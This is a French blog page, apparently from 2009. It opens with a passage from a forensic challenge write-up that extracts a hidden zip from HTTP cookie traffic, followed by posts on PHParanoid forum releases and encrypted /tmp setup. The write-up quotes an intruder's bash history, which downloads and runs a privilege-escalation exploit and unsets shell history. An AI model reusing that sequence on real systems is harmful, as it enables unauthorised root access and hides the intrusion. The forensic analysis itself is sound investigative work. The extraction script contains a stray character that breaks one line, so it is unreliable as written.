Pour extraire l'archive zip de ce flux caché, j'ai d'abord recréé un fichier pcap en créant un filtre sur les paquets à destination de 219.93.175.67:80 (le récepteur qui tient en plus le rôle de proxy).
J'ai ensuite utilisé tcpflow pour extraire les requêtes HTTP brutes avec la commande suivante :
tcpflow -r agadou.pcap  -c > reqs.txt

J'ai retiré les doublons dans le fichier texte obtenu puis écrit un code assez maladroit (d'où l'étape préliminaire) pour recréer l'archive zip :
#!/usr/bin/env python
import base64

f=open("reqs.txt")
zip=""
while True:
  line=f.readline()
  if line=="": break
  if line.startswith("Cookie: "):
    if line.find("CVal=")>=0:
      zip+=line.split("CVal=")[1].strip()
    if line.find("Sessid=")>=0:
      zip+=line.split(&"Sessid=")[1].strip()
    if line.find("RMID=")>=0:
      zip+=line.split("RMID=")[1].strip()
zip=zip.replace("\n","")
print zip
zip=base64.b64decode(zip)
fo=open("archive.zip","w")
fo.write(zip)
fo.close()
f.close()


Archive.zip

Si on regarde à l'intérieur, on voit que l'archive contient les fichiers suivants :
Archive:  archive.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   141824  12-08-07 14:19   mnt/hgfs/Admin_share/acct_prem.xls
   100864  12-08-07 14:09   mnt/hgfs/Admin_share/domain.xls
     2395  08-05-00 16:54   mnt/hgfs/Admin_share/ftp.pcap
 --------                   -------
   245083                   3 files

Seulement.. l'archive est protégée par mot de passe. Ma première idée a été de continuer à fouiller dans la mémoire pour essayer de trouver le mot de passe.
L'utilisateur a créé l'archive en ligne de commande :
zip archive.zip /mnt/hgfs/Admin_share/acct_prem.xls /mnt/hgfs/Admin_share/domain.xls /mnt/hgfs/Admin_share/ftp.pcap

puis il a protégé par mot de passe en utilisant la commande zipcloak
zipcloak archive.zip

J'ai donc fouillé dans la mémoire en cherchant l'image de ces processus mais je n'ai vu aucun mot de passe autour des commandes zip ou zipcloak :frown:

Comme on n'est jamais mieux servi que par soit même (en tout cas dans mon cas sous Linux), j'ai tenté de casser le mot de passe en utilisant lzcrack, un casseur de pass d'archives zip que j'ai développé il y a un certain temps, mais je n'ai obtenu aucun résultat.

J'ai aussi tenté de trouver les fichiers en clair (avant compression) dans l'image de la mémoire mais aucun document xls ni aucun traffic TCP ni étaient présents.

Got r00t ?

Toujours à coups de grep j'ai pu découvrir une autre suite de commandes lancées par bash :
uname -a
who
ll -h
mkdir temp
ll -h
chmod o-xrw temp/
ll -h
cd temp/
cp /mnt/hgfs/Admin_share/*.xls .
cp /mnt/hgfs/Admin_share/*.pcap .
exit
uname -a
id
exit
X -v
X -V
X -version
cd temp
wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
tar -zpxvf xmodulepath.tgz
cd xmodulepath
ll
unset HISTORY
./root.sh
exit
pwd
cd ..
cp /mnt/hgfs/Admin_share/intranet.vsd .
ll
ls -lh
exit

On y voit notre pirate (on peut maintenant le dire p: ) créer un répertoire "temp" (qu'il supprimera par la suite) et y recopier différents fichiers.
Il obtient ensuite la version de Xorg sur le système, télécharge un exploit pour une faille de sécurité existante, l'exécute puis en profite pour récupérer un dernier fichier.
Comme on ne dispose pas des résultats des commandes il est difficile de dire si l'utilisateur a effectivement réussi à passer root mais le fait qu'il copie ensuite un fichier qui se trouvait dans le même dossier laisse supposer que des permissions l'avaient empéché de le faire plus tôt...

La suite de l'analyse de la mémoire a permis d'extraire des lignes de logs générées par syslogd, de voir qu'un serveur sendmail tournait, que Steve a un uid de 501, que le système est une distribution CentOS avec un kernel 2.6.18 et qu'on trouve tout un tas de chose en mémoire.
Un peu de carving avec PhotoRec a révélé la présence de beaucoup d'images de la navigation web en mémoire, certaines partielles, d'autres complètes :smile:
J'ai aussi testé Scalpel pour l'occasion, mais je crois que je vais rester sur le précédent :smile:

Les trophés

Toute chose ayant une fin, voici le fameux tableau partagé sur Google. Les CSS n'étant pas intégrés, le rendu donne un peu brut :


L'invitation de partage du tableau à destination de Faa Tali
Steve Vogon... pas si américain que ça ?
A destination du Costa Rica, passage par le Salvador
Il y en a qui s'en font pas... pourtant c'est pas avec ces 57 dollars qu'il va se payer ça

PHParanoid 0.7

, , , ...

Une nouvelle version du système de forum PHParanoid, basé sur PHP et MySQL est disponible : la version 0.7.

Cette version apporte comme changement majeur la possibilité de chiffrer les messages privés. Les modifications apportées ainsi que la librairie utilisée ont été réalisées par une aide extérieure que je remercie au passage :smile:
A noter que l'utilisation du chiffrement reste optionnelle et nécessite la librairie GMP pour PHP (voir les packages du type php-gmp dans votre distribution Linux).

Les autres changements effectués sont des corrections de bugs mineurs ou de très légers changements esthétiques, principalement liés à l'inclusion du chiffrement des messages privés.

Télécharger PHParanoid 0.7

Créez une partition temporaire chiffrée sous Linux

, , , ...

L'opération est assez simple et fonctionnera sur les distributions équipées de "dm-crypt" (vérifier que le programme "cryptsetup" est présent).
Il vous faut une partition à sacrifier pour l'utilisation d'un /tmp qui sera recréé à chaque démarrage avec une clef de chiffrement aléatoire (les données dans /tmp seront perdues à chaque arrêt du système d'exploitation).
Chez moi j'ai utilisé /dev/sda5 (une vieille partition vfat dont je me servais plus) qui sera repartitionné en ext2 pour l'occasion :smile:

On commence par créer une entrée dans /etc/crypttab :
temp    /dev/sda5       /dev/urandom    tmp,cipher=aes-cbc-essiv:sha256

Cela provoquera la création d'un périphérique de chiffrement /dev/mapper/temp. L'option "tmp" permet de spécifier qu'il faut exécuter mkfs sur le mapper pour créer le système de fichier. En l'absence d'une correspondance dans /etc/fstab, le système ext2 est utilisé.
L'option "cipher" est nécessaire afin que cryptsetup sache comment chiffrer les données.
Le périphérique /dev/urandom est utilisé comme clef aléatoire pour le chiffrement des données.

Il faut ensuite créer une entrée correspondante dans /etc/fstab (options à modifier selon vos préférences) :
/dev/mapper/temp     /tmp                 ext2       noexec                0 0

On redémarre la machine et normalement tout fonctionne :smile:

Article sur le même sujet :
Créez une partition cachée sous Linux

En vrac et mise à jour PHParanoid

, , , ...

Comme le titre du présent billet l'indique, PHParanoid a été mis à jour afin de corriger différents bugs dont on m'a fait part et modifier quelques trucs.
Le plus important concerne une faille de sécurité dans l'accès à la partie administration (qui pourtant était bien visible :no: ) et l'inclusion des protections anti-CSRF dans le système de messagerie. Globalement tout l'accès à la partie "membres" a été revu en plus strict (pas connecté -> on quitte illico)
Certaines requêtes SQL ont été refaites (jointures) quand c'était possible.
Toutes ces corrections ont provoqué un nouveau bug dans l'utilisation du moteur de templates qui empéchait l'affichage des formulaires de réponse (dans t.php pour ceux qui suivent). Après un moment d'incompréhenson (keskispas' ?) ça a finalement pû être corrigé :smile:
Merci à ceux qui ont envoyé les bugs, n'hésitez pas à rejeter un coup d'oeil :smile:

A noter qu'avec la version 0.3, je comptais inclure Inspekt, une librairie permettant de filtrer les variables PHP.
Techniquement, Inspekt va récupérer les variables superglobales (tableaux $_GET, $_POST, $_SESSION), les mettre dans des "Cage" (un objet défini dans la librairie), suprimer les tableaux originaux et on accède ensuite à chaque variable à l'aide de l'interface proposée par la librairie.
J'avais donc commencé à inclure la librairie dans mon code, sauf qu'arrivé aux variables de session... ça bloque : comment modifier ces données ?
Je fouille un peu dans la librairie et trouve une méthode permettant de modifier les variables d'un objet Cage qu'il est possible d'appeler moyennant une petite modification de code. Mais là encore, les modifications ne semblent pas être prises en compte :frown:
Petit message à funkatron (l'un des développeurs) qui m'avoue qu'il avait pas pris en compte la modification des variables de session... et comme le tableau original ($_SESSION) est effacé, les changements ne sont pas effectifs.
A l'heure actuelle, la manipulation des sessions peut se faire officieusement avec la version 0.3.1 de Inspekt (après quelques modifications) mais en fin de compte j'ai décidé de ne pas utiliser la librairie pour PHParanoid, au vu de la faible utilisation qu'il en serait fait (pour le moment les seules vérifications sur les données consistent à déterminer s'il s'agit d'entiers ou de chaînes de caractères) mais je suis le développement de cette librairie de près :smile:

Pour changer de sujet :

Opera a 12 ans, vidéo rétrospective.

Marre du client Telnet de Windows ? Dave's Telnet (dtelnet) est une excellente alternative. En plus il marche impec sur les serveurs nethack p:

Je devrais bientôt recevoir une place pour le concert des Rage Against The Machine à Paris. Je vous dirais pas à combien je l'ai eu, c'est indécent :yikes: Il faut dire que les réservations étaient épuisées dès leur mise à disposition (déduction d'une discussion avec une guichetière de la f**c) et qu'aussitôt elles se sont multipliées sur certains sites d'enchères... eBay c'est du crime organisé !

PHParanoid 0.3

, , , ...

C'est avec grand plaisir que je vous annonce la sortie de la nouvelle version de PHParanoid, un forum PHP/MySQL orienté sécurité et anonymat.

J'aurais dû boucler cette nouvelle version plus tôt, malheureusement un concours de circonstance a fait que j'ai dû partir en exil suite à l'attaque quasi-terroriste d'un groupuscule en utilitaires bleus qui m'a fait sombrer dans les tènèbres. J'ai finalement trouvé refuge en une demeure où je me suis retrouvé séquestré, forcé d'aider à la confection de faire-parts et dont la seule issue était irrémédiablement bloquée par un félin aux réflexes vifs :insane:
Quoiqu'il en soit, durant cette période je n'ai pas eu d'accès à mon matériel informatique et par conséquent dû repousser la sortie de PHParanoid 0.3.

En fin de compte, cette version n'apporte pas énormément de nouvelles fonctionnalités, si ce n'est l'inclusion des messages privés (ce qui n'est pas rien).
Les principaux changements ont été faits sur le fond puisque cette version marque le passage à l'utilisation du moteur de templates TinyButStrong qui s'est montré très performant. Le code a été réécrit et est nettement plus propre, les fonctions sont commentées et cela a permis de mettre un place un système de thèmes graphiques bien plus évolué que l'ancien style.css p:

Le reste des améliorations rendent le forum plus convivial : les titres des topics et forums viennent se loger dans la balise "title" de la page html générée, la paginition a été refaite, l'ajout d'un nouveau message ramène sur le bon numéro de page et enfin un script de désinstallation a été rajouté à l'archive.

J'ai pas mal lutté avec la table SQL pour les messages privés, le "squelette" présent dans les précédentes versions ne convenait finalement pas puisqu'il ne permettait pas de faire la différence entre un même message expédié et reçu. Si bien que si le destinataire effacait le message de la base, il était aussi supprimé pour l'expéditeur.
J'ai ensuite essayé de rajouter un champ définissant le propriétaire de chaque message, avec le message créé en double lors de l'envoi (pour les deux protagonistes de la conversation) mais on se retrouvait face à un doublon si un utilisateur envoit un message à lui-même (et je voulais que ce soit possible).
J'ai ensuite tenté avec deux tables (messages envoyés et messages reçus) mais un autre problème ma poussé à trouvé une solution (définitive) qui est le simple ajout d'un champ numérique permettant de déterminer quel est l'état du message (non lu par les deux utilisateurs, effacé par l'expéditeur, effacé par le receveur) :smile:

Une mise à jour de la base (pour passer de la version 0.2 à 0.3 en gardant les données) doit être possible avec la requête suivante :
ALTER prnd_pvs ADD COLUMN status TINYINT(1) UNSIGNED NOT NULL DEFAULT 3

Deux thèmes ont été ajoutés en plus du thème par défaut. Tous sont visibles sur SourceForge et tout nouveau thème sera le bienvenue, ainsi que les soumissions de bugs :smile:

PHParanoid sur SourceForge
January 2009
S M T W T F S
December 2008February 2009
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31